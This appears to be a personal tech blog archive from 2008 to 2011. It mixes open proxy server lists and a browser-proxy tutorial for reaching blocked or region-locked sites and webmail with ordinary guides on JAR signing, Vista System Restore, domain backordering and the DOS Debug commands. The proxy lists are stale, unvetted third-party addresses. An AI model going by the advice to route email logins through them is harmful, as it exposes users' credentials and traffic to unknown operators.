IT IN NEW WAY

NEW Proxy Servers

2011-04-04T01:08:00.000-07:00

Proxy:Port	Latency	Country	SSL	Uptime	Last work time
94.100.28.218:3128	0.125	NL	Y	100%	4/4/2011 7:59
95.56.229.18:3128	0.265	KZ	Y	100%	4/4/2011 7:59
201.28.123.6:8080	0.339	BR	Y	100%	4/4/2011 7:59
81.30.151.162:3128	0.354	NN	Y	100%	4/4/2011 7:59
88.135.217.66:3128	0.461	UA	Y	100%	4/4/2011 7:59
189.17.38.252:3128	0.511	BR	N	100%	4/4/2011 7:59
200.103.97.11:80	0.52	BR	N	100%	4/4/2011 7:59
187.84.240.170:8080	0.589	BR	N	100%	4/4/2011 7:59
186.215.147.12:3128	0	NN	Y	100%	4/4/2011 8:01
189.22.158.130:3128	0	BR	N	100%	4/4/2011 8:01
81.213.166.95:3128	0.187	TR	Y	100%	4/4/2011 8:01
84.44.41.3:3128	0.299	TR	Y	100%	4/4/2011 8:01
189.108.142.50:8080	0.317	BR	Y	100%	4/4/2011 8:01
213.197.81.50:3128	0.389	SK	Y	100%	4/4/2011 8:01
62.209.212.66:8080	0.211	CZ	Y	99%	4/4/2011 7:59
93.153.132.237:3128	0	RU	Y	99%	4/4/2011 8:01
189.10.142.10:3128	0	BR	Y	99%	4/4/2011 8:01
189.85.27.74:8080	0.235	BR	Y	99%	4/4/2011 8:01
201.48.250.233:3128	0.387	BR	N	99%	4/4/2011 8:01
87.117.135.86:8080	0.437	RU	Y	98%	4/4/2011 7:59
118.98.31.4:80	0.591	ID	Y	98%	4/4/2011 7:59
200.119.10.198:3128	0.276	MK	N	98%	4/4/2011 8:01
203.130.238.91:80	0	ID	Y	97%	4/4/2011 8:01
66.197.164.210:80	0.085	US	N	96%	4/4/2011 8:01
201.75.3.100:3128	0	BR	N	95%	4/4/2011 8:01
85.216.186.17:8080	0	SK	Y	94%	4/4/2011 8:01
187.48.61.32:3128	0.322	BR	Y	93%	4/4/2011 7:59
91.210.44.1:8080	0.388	RU	Y	92%	4/4/2011 7:59
72.82.255.104:3128	0.1	US	Y	82%	4/4/2011 7:59
65.172.48.18:8081	0.46	US	Y	81%	4/4/2011 7:59
80.190.34.23:3128	0.531	DE	Y	81%	4/4/2011 7:59
79.177.211.183:3128	0	IL	Y	81%	4/4/2011 8:01
175.136.236.137:3128	0.592	MY	Y	66%	4/4/2011 7:59
189.124.80.5:8080	0	BR	Y	65%	4/4/2011 8:01
110.137.185.9:8080	0	ID	N	63%	4/4/2011 8:01
190.37.127.117:3128	0	MK	Y	60%	4/4/2011 8:01
211.139.10.170:80	0	CN	N	52%	4/4/2011 7:59
208.52.90.100:80	0	BO	N	14%	4/4/2011 7:59

Setting Up a proxy via browser in oder to play Flas Viedos and access Mail

2011-02-26T01:49:00.000-08:00

We know that some times we need to access blocked sites or some times to hide our identity or to pretend as a another countrymen to get services (hulu ans US herbs ). if we use proxy sites such as http://www.hidemyass.com/ most of the time web server detect the proxy and ban the connection . and yahoo in box won't function well (gmail fails sometimes) and flash won't work mostly. so how get through these problems. solution is using a proxy via browser rather than a proxy site.

How to do it
firefox
Go and download foxy proxy add-on from following link and install it.
https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/
After the installation is completed click (Double Some times) on the fox located in
bottom right corner

on the new window click Add New Proxy Button

add a proxy from following list
e.g

Chrome
if you use google chrome then you can use Proxy Switchy
get if from http://switchy.samabox.com/
configuration is more straight forward . you can do it your self

List of Proxies

Proxy:Port	Latency	Country	SSL(HTTPS)	Uptime
92.48.80.107:80	0	GB	N	41%
222.77.14.56:8088	0.68	CN	N	90%
202.170.80.59:8080	0.804	MK	Y	92%
123.242.153.99:80	0.889	TH	Y	92%
221.203.79.101:443	2.142	CN	N	98%
62.112.33.159:80	4.914	DE	N	22%
196.41.132.28:8080	0	ZA	Y	100%
187.49.88.1:8080	0	BR	Y	97%
202.100.209.238:3128	0	CN	Y	96%
119.145.5.123:3128	0	CN	N	93%
201.59.191.237:3128	0	BR	Y	96%
123.49.32.228:8080	0	BD	Y	99%
202.112.49.244:3128	0	CN	N	99%
190.121.114.227:80	0	CL	Y	98%
89.218.79.54:3128	0	KZ	Y	58%
218.203.206.134:3128	0	CN	N	91%
201.91.21.108:3127	0.187	BR	Y	98%
187.17.133.137:3128	0.197	BR	Y	97%
77.245.127.46:5190	0.222	RU	Y	74%
187.5.99.138:3128	0.239	BR	Y	100%
186.3.109.130:80	0.243	MK	Y	100%
85.24.181.244:3128	0.261	SE	Y	99%
91.201.156.129:3128	0.265	UA	Y	96%
122.121.152.74:8088	0.28	TW	Y	98%
222.213.248.137:80	0.331	CN	N	100%
84.22.52.210:8080	0.423	MK	Y	100%
190.41.180.147:3128	0.428	MK	Y	96%
95.170.194.26:8080	0.43	IQ	N	82%
187.5.128.179:3128	0.489	BR	N	89%
201.30.220.132:8080	0.492	BR	N	54%
109.235.49.110:80	0.505	NL	N	99%
61.183.225.94:81	0.525	CN	N	98%
186.215.207.171:3128	0.536	NN	Y	95%
65.172.48.18:8081	0.536	US	Y	97%
41.239.101.171:8080	0.556	EG	Y	100%
202.51.111.82:3128	0.557	ID	Y	100%
187.7.112.21:3129	0.568	BR	N	99%
218.207.217.245:8080	0.582	CN	Y	99%
190.15.204.18:80	0.589	AR	Y	99%
82.200.168.156:80	0.628	KZ	N	87%
201.91.199.98:8080	0.636	BR	Y	99%
189.126.219.86:8080	0.665	BR	Y	99%
201.86.128.8:3128	0.674	BR	Y	93%
77.232.139.187:80	0.701	RU	Y	97%
218.207.217.245:8080	0.582	CN	Y	99%
190.15.204.18:80	0.589	AR	Y	99%
201.91.199.98:8080	0.636	BR	Y	99%
189.126.219.86:8080	0.665	BR	Y	99%
201.86.128.8:3128	0.674	BR	Y	93%
87.224.199.115:8888	0.695	RU	N	33%
77.232.139.187:80	0.701	RU	Y	97%
41.190.225.201:8080	0.703	CM	Y	97%
189.10.142.19:3128	0.708	BR	N	100%
118.96.95.124:8080	0.709	ID	Y	89%
201.249.86.28:8000	0.738	MK	Y	86%
218.207.217.230:80	0.78	CN	N	95%
79.172.35.74:82	0.827	RU	Y	69%
200.70.25.242:8080	0.842	AR	Y	99%
117.102.101.219:8080	0.846	ID	N	99%
92.61.178.108:8080	0.849	NN	N	95%
88.58.85.122:8080	0.866	IT	Y	90%
110.136.148.153:80	0.915	ID	Y	96%
200.43.141.171:8080	0.915	AR	Y	99%
190.41.205.37:8080	0.939	MK	N	83%
218.207.217.228:80	0.955	CN	Y	98%
202.86.204.37:3128	0.959	PH	Y	98%
202.162.214.66:8080	0.969	ID	Y	96%
114.40.197.127:8088	0.976	TW	Y	99%
201.54.229.115:3128	0.988	BR	Y	98%
41.234.204.158:80	1.014	EG	N	99%
211.68.71.142:3128	1.016	CN	N	85%
218.20.204.152:9415	1.034	CN	Y	79%
115.248.234.251:3128	1.044	IN	N	94%
119.100.84.85:9415	1.046	CN	N	33%
60.178.193.9:9415	1.098	CN	N	88%
222.161.137.199:8080	1.119	CN	N	94%
74.210.2.173:8085	1.161	CA	N	15%
116.232.230.88:9415	1.282	CN	N	33%
110.136.149.35:8080	1.283	ID	N	89%
61.50.139.173:80	1.29	CN	N	98%
123.234.70.58:3128	1.337	CN	N	97%
80.80.165.62:3128	1.343	MK	Y	100%

2011-02-18T07:41:00.000-08:00

Proxy By passing via browser

FireFox

Proxy:Port	Latency	Type	Country	SSL	Uptime	Last work time
189.1.97.195:3128	0.183	Transp.	BR	Y	98%	2/18/2011 15:38
62.84.12.41:8080	0.258	Transp.	LV	Y	88%	2/18/2011 15:38
98.214.19.32:8085	0.266	Anon.	US	N	30%	2/18/2011 15:30
203.82.67.197:3128	0.275	Transp.	MY	Y	100%	2/18/2011 15:38
82.199.105.194:3128	0.279	Transp.	RU	Y	91%	2/18/2011 15:38
201.57.146.148:3128	0.314	Transp.	BR	Y	100%	2/18/2011 15:38
46.51.160.218:80	0.337	Transp.	NN	Y	100%	2/18/2011 15:38
109.235.49.143:80	0.341	Transp.	NL	Y	88%	2/18/2011 15:38
109.230.128.179:8080	0.373	Transp.	RU	Y	98%	2/18/2011 15:38
189.90.146.66:3129	0.38	Transp.	BR	Y	100%	2/18/2011 15:38
213.197.81.50:3128	0.383	Transp.	SK	Y	100%	2/18/2011 15:38
91.103.91.33:8080	0.392	Transp.	MK	Y	89%	2/18/2011 15:38
188.138.32.165:3128	0.447	Transp.	DE	Y	63%	2/18/2011 15:38
187.35.92.125:3128	0.449	Transp.	BR	Y	99%	2/18/2011 15:38
77.74.55.147:80	0.481	Anon.	NL	Y	89%	2/18/2011 15:30
190.40.7.124:80	0.485	Transp.	MK	Y	86%	2/18/2011 15:38
201.23.70.170:3128	0.489	Transp.	BR	Y	99%	2/18/2011 15:38
201.47.57.175:8080	0.505	Transp.	BR	Y	100%	2/18/2011 15:38
114.127.246.70:8080	0.555	Elite	ID	N	100%	2/18/2011 15:30

Sign Your Applet (JAR Signing)

2011-02-12T08:38:00.000-08:00

you create an Applet and when you run it using a browser some times you get following Errors.
access denied (java.io.FilePermisson C:\text.txt read write)
or
SocketPermission connect.

but if you run the same code in command line or in Swing GUI then works fine.

So what is the problem ?

Problem is when you run an Applet some restrictions are applied.such as accessing to a file systems, connecting via Sockets and many more.

So how do I run My applet with all functionality ?
Solution is Sign your Applet Jar .

1 . Open Command Prompt
2. Set the path to JDK\bin . in my system it's C:\Program Files\Java\jdk1.6.0_23\bin
3 type keytool -list to see already created keys by you
4. if you have already created a key pair the you can skip to Now Sign your Applet(Jar)
5. type keytool -genkey press enter and .
6 if required for password enter a password .
7. confirm the password
8. Enter the your First Name
9. Enter the name of your organizational unit.
10.Enter the name of your organization
11. Enter Your City
12. Enter Your State
13. Enter Your two-letter country code
14. Enter yes
15. press Enter Key if you wish to use same password as above. if not enter a new password and confirm it.
Now Sign your Applet(Jar)
Just Type jarsigner C:\jartosign\myapp.jar mykey
Enter passwords if required.

* C:\jartosign\myapp.jar - This should point your jar file.

Folder View For .Net ,C#,VB.Net

2009-04-12T00:46:00.000-07:00

Hi,
I had Problem To List All Folders In Tree View (Folder View) For .Net to use for various . Net Applications finally I've developed my own Folder view user Control Thats Reusable
You Can Download it Here
DOWNLOAD USER CONTROL

Windows Vista System Restore Guide

2009-02-12T03:44:00.000-08:00

Windows Vista System Restore Guide

Table of Contents

Introduction to System Restore

System Restore is a system recovery feature of Windows that creates snapshots, or restore points, of the state of your computer at various intervals or before you perform a certain task. These restore points can then be used to restore your computer back to the state it was in when they were taken. When these restore points are created, and restored, the only files affected are the Windows Registry, programs, and system files. Your data such as spreadsheets, documents, images, and music remain untouched between restores.

You may be wondering why you would want to restore your computer to a previous point. The reason being that there comes a time in every computer user's life that they install a new program, install a new driver, or just turn on the computer and find it no longer works as it did the day before. You have no idea why, can't resolve the problems, and are left with two options. You can either backup your data, reinstall the operating system, and then reinstall all your applications or you can restore your computer to a previous snapshot in the hopes that the problems will now be gone. By using System Restore to restore your computer to a previously known working state you can save considerable time or money compared to reinstalling the entire computer.

System Restore points are automatically created when the following actions occur:

When you install a new application or driver.
When you uninstall or install certain programs.
When you install new updates
Automatically on a daily interval
By manually creating one.
If you choose to use system restore to restore to a previous restore point, system restore will create a new restore point prior to restoring a previous state in case something goes wrong. If you restore to a previous state in Safe Mode, a restore point will not be created for the current state.

In order for System Restore to work you must have 300 MB of free space for each hard disk that System Restore is monitoring. System Restore will also use up to 15% of the disk space on each disk that it monitors. As hard drive space runs out, older restore points will be deleted as newer ones are created. It is also important to point out that you must be logged in as an Administrator in order to use System Restore. Now that you understand the basics of System Restore, you should continue to the next section to learn how to use it.

Restoring Windows Vista to a previous State

In the case of a problem on your computer that cannot be solved by normal means, you can restore your computer back to a previous working state. To do this you need to start System Restore so that you can choose the restore point to restore. If you are currently having problems starting Windows Vista, you can use System Restore from the Windows Recovery Environment. Instructions on how to do this can be found in this tutorial: Using System Restore from the Vista Windows Recovery Environment.

If you can log into Windows Vista, then you should follow these steps.

Close and save any documents that you may have open.
Click on the Start button to open your Start Menu. The Start button looks like this:
When the Start Menu opens click on the All Programs menu option.
Click once on the Accessories Start Menu group.
Click once on the System Tools Start Menu group.
Click once on the System Restore icon. After you click on the icon, if a User Account Control window opens you should click on the Continue button.

You will now be at the System Restore screen as shown below in Figure 1. From this screen you can specify the restore point that you would like to restore.

Figure 1. System Restore Screen

By default, Vista will already have selected the Recommended restore option. This restore point is one was made after a new program, driver, or update was installed. If you would like to use this restore point, you can click on the Next button to start the restore process. On the other hand, if there is a more recent restore point that you would like to restore you should select Choose a different restore point and press the Next button. This will bring you to a screen, as shown in Figure 2, that contains a listing of all the available restore points that you can restore to.

Figure 2. List of available restore points

You should select the restore point that you would like to restore and press the Next button to start the restore process. Vista will display a Window showing your selected restore point and asking you to confirm that this is the one you would like to restore.

Figure 3. Confirm the selected restore point

If you would like to select a different restore point press the Back button. Otherwise you can press the Cancel button to exit System Restore or the Finish button to begin the restore process. If you selected Finish, Vista will display a second prompt asking you to confirm that you would like to continue the restore.

Figure 4. Second Confirmation

If you are sure you want to do the restore, then press the Yes button. Vista will now log you off of the computer and start the System Restore process as shown in Figure 5 below.

Figure 5. Restoring a restore point

When the restore has been completed, you computer will be restarted and when Vista boots back up it will be restored to its previous state. When you log in to Vista for the first time after the restore, you will see a message showing that the restore was successful.

Figure 6. System restore was successful

If there are any problems with your computer due to the last restore, you can revert back to your previous settings by going back into the System Restore Utility and selecting the Undo System Restore option and pressing the Next button.

Figure 7. Undo the last System Restore

Your computer should now be working properly again.

Using System Restore from the Windows Recovery Environment

Manually Creating Restore Points

As said previously, it is also possible to create manual restore points as needed. Popular reasons to create manual restore points are when you have your computer set up perfectly and would like to save the state in the case of problems in the future. To create a manual restore point you need to follow these steps:

Click on the Start button to open your Start Menu. The Start button looks like this:
Click on the Control Panel menu option.
Click on the System and Maintenance menu option.
Click on the System menu option.
Click on System Protection in the left-hand task list.

You will now be at the System Protection tab in the System control panel. This tab allows you to enable and disable System Restore as well as make new manual restore points.

Figure 8. System Protection tab

To create the manual restore point you should click on the Create button. When you press this button a prompt will appear asking you to provide a title for this manual restore point.

Figure 9. Enter title for manual restore point

Type in a title for the manual restore point and press the Create button. Vista will now create a manual restore point, and when completed, display a notice saying that it was created successfully.

Figure 10. Manual restore point was created

Now that you have completed making the manual restore point you can close the System window.

Disabling System Restore

It is advised that you do not turn off System Restore unless you have specific need to do so.

WARNING: By disabling system restore you will delete all stored restore points and shadow copies of documents on your computer.

To disable System Restore you would follow these steps:

Click on the Start button to open your Start Menu. The Start button looks like this:
Click on the Control Panel menu option.
Click on the System and Maintenance menu option.
Click on the System menu option.
Click on System Protection in the left-hand task list.
Uncheck the checkboxes next to each hard drive listed under the Create restore points automatically on the selected disks: section. When you uncheck a disk you will be presented with the following screen.

Figure 11. Turn off System Restore confirmation

You should click on the Turn System Protection Off button.
Press the Apply button and then the OK button.

System Restore is now disabled on your computer.

Enabling System Restore

By default System Restore is enabled on Windows Vista computers so you will only need to enable it if you have previously disabled it. To enable System Restore do the following:

Click on the Start button to open your Start Menu. The Start button looks like this:
Click on the Control Panel menu option.
Click on the System and Maintenance menu option.
Click on the System menu option.
Click on System Protection in the left-hand task list.
Put a checkmark in the checkboxes next to each hard drive listed under the Create restore points automatically on the selected disks: section.
Press the Apply button and then the OK button.

System Restore is now enabled on your computer.

Deleting Restore Points

There are two safe ways to delete restore points stored on your computer. These ways are described below:

Turn off System Restore - When you turn off System Restore, all previously created restore points will be deleted.

System Restore runs out of storage space - If System Restore runs out of allocated space it will delete the older restore point in order to create free space in which to create the new restore point.

System Restore and Shadow Copy

If you are the owner Windows Vista Business, Ultimate, or Enterprise then you also have a feature called Shadow Copy available to you. Shadow Copy is a feature integrated into System Restore that makes copies of your documents when a restore point is created. You can then use these shadow copies to restore these files at a later date if they have been accidentally deleted or altered in some way. Since Shadow Copy is integrated into System Restore, if System Restore is disabled you will not be able to use Shadow Copy.

To use Shadow Copy to restore a particular file to a previous state you would right-click on the file and select the Restore previous versions option as shown in Figure 8 below.

Figure 12. Restore Previous Versions

This will bring up a new screen showing the previous versions of the file that are available to restore as shown in Figure 9 below.

Figure 13. List of previous versions

When you select a version from the list you have three options.

You can open the previous version by clicking on the Open button. This allows you to view the contents of the file without overwriting your existing one.
If you would like to copy the older version to a new location you can click on the Copy button.
If you would like to restore the previous version, and overwrite the existing one, you can click on the Restore button.

The interesting this about this feature is it does not work only on files. You can also use this feature to restore folders, and all of its contents, that were deleted. To restore a previous version of a folder you would do the following.

When in the folder that you would like to restore click on the Organize button and then select Properties.
Click on the Previous Versions tab.
Select the date of the Shadow Copy you would like to restore and then select the Open, Copy, or Restore options as required.

When restoring folders, if you only wish to restore a particular file in the folder Shadow Copy, you should select the Open option to open the Shadow Copy folder and then copy the particular Shadow Copy files out of it that you need. As you can see Shadow Copy is a powerful way to keep your data safe and to have backups available in the case of accidental deletions or irreversible changes.

Conclusion

The System Restore tool is a powerful feature that can be used to keep your computer operating properly. Now when you run into a problem that cannot be resolved normally, you can use System Restore to restore your computer to a previous known working state. Even more powerful is the ability to use system restore from the Windows Recovery Environment when you can't properly boot up into Windows. This allows you a second chance to get your computer operating as it should without having to do a time consuming and possibly expensive reinstall.

More information about Vista System Restore can be found here: http://bertk.mvps.org/html/vista.html

As always if you have any comments, questions or suggestions about this tutorial please do not hesitate to tell us in the Windows Vista Help Forums.

Backordering Domains

2008-10-25T09:28:00.000-07:00

Five backorder models targeting different stages of the deletion cycle are currently in play, each of which has its own strengths and weaknesses. Three of them are more likely to survive in the medium-term. However, in the long-term, it is very likely that one of these models would dominate the market. The dominant model that emerges depends on the success of coordination efforts between registrars, fee structure, and customer awareness of such services.

Thus, to increase the chances of acquiring an expired domain name, we recommend subscribing to multiple complimentary services simultaneously, or to the one-stop integrated model developed by DomainMart.

What is backorder?

Backorder is a service that attempts to register an expired domain name on behalf of an entity before someone else grabs it. Over 750,000 domains expire every month!

It should be noted that not all expired domain names can be backordered, as the registrant might renew them before being deleted by the registrars or they might be on HOLD status pending a settlement of a trademark dispute.

Domain Name Expiration and Backorder Process.

Domain names are registered for a specific time period, typically between 1 to 10 [1] years and can be renewed at any time for a maximum of 10 years. If the registrant or the administrative contact does not renew a domain name, it expires. And that when the action to grab it starts.Registries have adopted different procedures to handle expiring domain names. I will concentrate on the .com, the dominant global extension, currently controlled by VeriSign.Domain name deletions follow the stages below:

Stage 1. Domain name registration expires.
Registrar places it under the REGISTRAR-HOLD status, whereby the domain cannot be modified or deleted, but can be renewed. This grace period varies by registrar, but usually lasts from 30 to 45 days. However, the domain will be deleted from the zone files, so the associated Website and e-mail access will stop.
The registrar must remove REGISTRAR-HOLD status to modify the domain.
Stage 2. Registrar deletes a domain name.
Stage 3. Registry modified the domain name status to REDEMPTIONPERIOD, whereby the domain cannot be modified or purged; it can only be restored. Any other registrar requests to modify or otherwise update the domain will be rejected. The domain will be held in this status for a maximum of 30 calendar days (registry grace period) during which if the registrant would like to redeem it, they need to:
Call their registrar.
The registrar will "restore" the domain name for a fee determined by registrar, typically US$150-250.
This places the domain on PENDINGRESTORE status for 7 days (and places the domain name back in the zone file), so email and Website access are restored.
The registrar must then submit a restore report to the Registry.
Once the Restore Command and Restore Report process is completed, the name goes back on ACTIVE status.
Stage 4. If at the end of the registry grace period the name is still in REDEMPTIONPERIOD status, the domain name will be moved to PENDINGDELETE status for 5 days.
When in this status, the domain name will be deleted.
The registrar or the Registry cannot remove the status.
Stage 5. On the 6th day, the name is then deleted from the Registry.�VeriSign currently releases all their expired domain names in batches each morning at 6:30, hence the term he 6.30 AM domain name goldrush.� Registrars know these names up to five days in advance and some have passed the information to speculators. This batch release system is unique to VeriSign. Other registrars delete their names in real-time, not more than 45 days after the domain's original expiry date. These names are then immediately available for anyone to register.

Backorder Models:

Model 1. Service By Individual Registrars
Some registrars are providing backorder services by not deleting the domain name at Stage 2, but assigning it to a party that has paid them a fee to backorder it. GoDaddy.com and eNom have adopted this model.
Model 2. Service Through Coordinated Registrars
SnapNames has adopted a second approach by acting as a single backorder application point for multi-registrars. Thus, by submitting a request through SnapNames Website, SnapNames works with the registrar of the domain name before the registrar deletes it, i.e., before Stage 2.
However, SnapNames is at a disadvantage for backordering domain names that are registered through registrars that have adopted Model 1 and not participating in the coordinated approach. If the registrar does not have its own backorder service and is not a partner of SnapNames, downstream Models 3 or 4 can capture the domain name.
Registrars that have partnered with SnapNames include Network Solutions and DomainIt.
Model 3. Service Through the Registry
VeriSign controls the .com registry and can guarantee that any domain name deleted at stage 2 is redistributed to a party subscribed to their widely anticipated launch of Waiting List Service (WLS).
WLS is provided through any ICANN accredited registrar that wishes to participate in it. This approach has two main differences from the coordinated registrar model.�First, it is only offered through registrars who then can choose to offer it to their customers and second, only the registry has control over domain names in Stage 3. If there are no backorder requests for a domain name made through WLS, the domain name advances to Stage 4, after which services providing Automated Registration Software can grab it.
Model 4. Automated Registration Software
To capture expired domains, this model is based on the premise that the domain name is deleted from the registry at Stage 6. Thus, to acquire the domain name, the interested entity sends electronic requests to register a domain name through an ICANN accredited registrar. However, since a large number of parties would be interested in the same quality domains, it becomes a race for registering it first.
Proprietary automatic registration software is deployed that can place hundreds of requests for the same domain name in seconds. The resulting excessive registration requests through few registrars led VeriSign to cap each ICANN registrar to 256K bandwidth or 250 simultaneous RRPs. It was rumored that some registrars had attempted 1500 registrations for a single name in one second!
Model 5. Multi-model Strategy
To increase and guarantee that an expired domain names is registered before it is returned to the public pool of available names, one needs to subscribe to providers of service under Models 1, 2, 4 and 3 - when it becomes available, as each of these models has its own crack holes.
Model 1 is most viable for domain names registered through individual registrars that are not participants in the coordinated registrar pool in Model 2. Conversely, the coordinated registrar approach has an advantage over non-participating registrars for domain names registered through them, as they would not let it proceed to Stage 2. However, they have no control over deletions of domain names originally registered through others. Nevertheless, the success of Models 1 and 2 assume that a customer has placed a backorder request either through SnapNames or through a registrar providing the service for names registered through them. If not, then Model 3 becomes viable. However, with the introduction of WLS, backorder customers can go directly to VeriSign to bypass the registrars who would delete expiring domain names registered through them for which they had no backorder requests. Hence, the potential dominance of WLS depends on fee structure, ability of the major registrars to agree on and coordinate sharing of a centralized Website, and customers� awareness of the different programs.
Some major registrars do not yet provide backorder services through their Website.
Multi-model strategy is provided by DomainMart.

Fees and Allocation Mechanism

Two pricing and allocation models have emerged. The first uses a fixed-price with domain name allocated on a first-backorder-first-serviced basis. Others have adopted more lucrative and fair auction mechanisms, whereby the highest bidder is awarded the domain name at the bid price (an English auction) [2] . The fixed-price model providers typically charge an upfront fee and allow a customer to backorder three alternative domain names in the event the client first choice is not secured on their behalf. On the other hand, under the auction model, a customer gets charged only if the domain name is registered on their behalf.

SnapNames charges a minim fee of $60, if only one entity requests the domain name. For multiple backorders on the same domain name, a short auction is setup. Such backorder customers are notified by email of the auction setup.

DomainMart charges the same minimum fee for simultaneously using multiple service providers under Models 1, 2 and 4. DomainMart provides additional services including appraisal of value and advise on a bidding strategy for an additional $25 (total $85), while charging $50 for the bundle of valuation and bidding advice.

[1] Network Solutions has introduced a 100-year registration service. The service implicitly relies on Network Solutions ensuring 10 consecutive 10-year renewals. The success of the program is still sketchy.

[2] Pool.com has adopted an inefficient and not necessarily revenue maximizing two-stage auction. A sealed-bid auction followed by an English auction for the top 10 bidders in the previous auction!

2008-10-24T08:33:00.000-07:00

Debug commands

Command	Description
?	Displays a list of the Debug commands.
a	Assembles 8086/8087/8088 mnemonics.
c	Compares two portions of memory.
d	Displays the contents of a portion of memory.
e	Enters data into memory starting at a specified address.
f	Fills a range of memory with specified values.
g	Runs the executable file that is in memory.
h	Performs hexadecimal arithmetic.
i	Displays one byte value from a specified port.
l	Loads the contents of a file or disk sectors into memory.
m	Copies the contents of a block of memory.
n	Specifies a file for an l or w command, or specifies the parameters for the file you are testing.
o	Sends one byte value to an output port.
p	Executes a loop, a repeated string instruction, a software interrupt, or a subroutine.
q	Stops the Debug session.
r	Displays or alters the contents of one or more registers.
s	Searches a portion of memory for a specified pattern of one or more byte values.
t	Executes one instruction and then displays the contents of all registers, the status of all flags, and the decoded form of the instruction that Debug will execute next.
u	Disassembles bytes and displays the corresponding source statements.
w	Writes the file being tested to a disk.
xa	Allocates expanded memory.
xd	Deallocates expanded memory.
xm	Maps expanded memory pages.
xs	Displays the status of expanded memory.

Separating command parameters

All Debug commands accept parameters, except the q command. You can separate parameters with commas or spaces, but these separators are required only between two hexadecimal values. Therefore, the following commands are equivalent:

dcs:100 110
d cs:100 110
d,cs:100,110

Specifying valid address entries

An address parameter in a Debug command specifies a location in memory. Address is a two-part designation containing either an alphabetic segment register or a 4-digit segment address, plus an offset value. You can omit the segment register or segment address. The default segment for the a, g, l, t, u, and w commands is CS. The default segment for all other commands is DS. All numeric values are in hexadecimal format.

The following are valid addresses:

CS:0100
04BA:0100

The colon between the segment name and the offset value is required.

Specifying valid range entries

A range parameter in a Debug command specifies a range of memory. You can choose from two formats for range: a starting address and an ending address, or a starting address and the length (denoted by l) of the range.

For example, both of the following syntaxes specify a 16-byte range beginning at CS:100:

cs:100 10f
cs:100 l 10

Related Commands

The following commands are Debug commands:

a (Assemble)	p (Proceed)
c (Compare)	q (Quit)
d (Dump)	r (Register)
e (Enter)	s (Search)
f (Fill)	t (Trace)
g (Go)	u (Unassemble)
h (Hex)	w (Write)
i (Input)	xa (Allocate Expanded Memory)
l (Load)	xd (Deallocate Expanded Memory)
m (Move)	xm (Map Extended Memory Pages)
n (Name)	xs (Display Expanded Memory Status)
o (Output)

Top Of Page

Debug: A (Assemble)

Assembles 8086/8087/8088 mnemonics directly into memory.

This command creates executable machine code from assembly-language statements. All numeric values are in hexadecimal format, and you must type them as 1 to 4 characters. You specify a prefix mnemonic in front of the operation code (opcode) to which it refers.

Syntax

a [address]

Parameters

address

Specifies the location where you type assembly-language mnemonics. You use hexadecimal values for address and type each value without the trailing "h" character. If you do not specify an address, a starts assembling where it last stopped.

Notes

Using mnemonics

The segment-override mnemonics are cs:, ds:, es:, and ss:. The mnemonic for the far return is retf. String-manipulation mnemonics must explicitly state the string size. For example, use movsw to move word strings (16 bits), and use movsb to move byte strings (8 bits).

Assembling jumps and calls

The assembler automatically assembles a short, near, or far jump or call, depending on byte displacement, to the destination address. You can override such a jump or call by using a near or far prefix, as the following example shows:

–a0100:0500

0100:0500 jmp 502 ; a 2-byte short jump
0100:0502 jmp near 505 ;a 3-byte near jump
0100:0505 jmp far 50a ; a 5-byte far jump
You can abbreviate the near prefix to ne.

Distinguishing word and byte memory locations

When an operand can refer to either a word memory location or a byte memory location, you must specify the data type with the prefix word ptr or the prefix byte ptr. Acceptable abbreviations are wo and by, respectively. The following example shows the two formats:

dec   wo [si]
neg   byte ptr [128]

Specifying operands

Debug uses the common convention that an operand enclosed in brackets ([ ]) refers to a memory location. This is because Debug cannot otherwise differentiate between an immediate operand and an operand that is a memory location. The following example shows the two formats:

mov   ax,21       ; load AX with 21h
mov   ax,[21]     ; load AX with the
                   ; contents of
                 ; memory location 21h

Using pseudoinstructions

Two popular pseudoinstructions are available with the a command: the db opcode, which assembles byte values directly into memory, and the dw opcode, which assembles word values directly into memory. Following are examples of both pseudoinstructions:

db 1,2,3,4,"THIS IS AN EXAMPLE"
db 'THIS IS A QUOTATION MARK: "'
db "THIS IS A QUOTATION MARK: '"
dw 1000,2000,3000,"BACH"

Examples

The a command supports all forms of register-indirect commands, as the following example shows:

add bx,34[bp+2].[si-1]
pop [bp+di]
push [si]

All opcode synonyms are also supported, as the following example shows:

loopz 100
loope 100
ja      200
jnbe    200

For 8087 opcodes, you must specify the wait or fwait prefix, as the following example shows:

fwait fadd st,st(3)       ; this line assembles
                         ; an fwait prefix

Related Commands

For information about entering data into specific bytes, see the Debug e (Enter) command.

For information about disassembling bytes, see the Debug u (Unassemble) command.

Top Of Page

Debug: C (Compare)

Compares two portions of memory.

Syntax

c range address

Parameters

range

Specifies the starting and ending addresses, or the starting address and length, of the first area of memory you want to compare. For information about valid range values, see the debug command.

address

Specifies the starting address of the second area of memory you want to compare. For information about valid address values, see the debug command.

Note

If the range and address memory areas are identical, Debug displays nothing and returns directly to the Debug prompt. If there are differences, Debug displays them in the following format: address1 byte1 byte2 address2

Example

The following commands have the same effect:

c100,10f 300
c100l10 300

Each command compares the block of memory from 100h through 10Fh with the block of memory from 300h through 30Fh.

Debug responds to either of the previous commands with a display similar to the following (assuming DS = 197F):

197F:0100 4D E4 197F:0300
197F:0101 67 99 197F:0301
197F:0102 A3 27 197F:0302
197F:0103 35 F3 197F:0303
197F:0104 97 BD 197F:0304
197F:0105 04 35 197F:0305
197F:0107 76 71 197F:0307
197F:0108 E6 11 197F:0308
197F:0109 19 2C 197F:0309
197F:010A 80 0A 197F:030A
197F:010B 36 7F 197F:030B
197F:010C BE 22 197F:030C
197F:010D 83 93 197F:030D
197F:010E 49 77 197F:030E
197F:010F 4F 8A 197F:030F

Notice that the addresses 197F:0106 and 197F:0306 are missing from the list. This means that the values in those addresses are identical.

Top Of Page

Debug: D (Dump)

Displays the contents of a range of memory addresses.

Syntax

d [range]

Parameter

range

Specifies the starting and ending addresses, or the starting address and length, of the memory area whose contents you want to display. For information about valid range values, see the debug command. If you do not specify range, Debug displays the contents of 128 bytes, starting at the end of the address range specified in the previous d command.

Note

When you use the d command, Debug displays memory contents in two portions: a hexadecimal portion (each byte value is shown in hexadecimal format) and an ASCII portion (each byte value is shown as an ASCII character). Each nonprinting character is denoted by a period (.) in the ASCII portion of the display. Each display line shows the contents of 16 bytes, with a hyphen between the eighth and ninth bytes. Each display line begins on a 16-byte boundary.

Examples

Suppose you type the following command:

dcs:100 10f

Debug displays the the contents of the range in the following format:

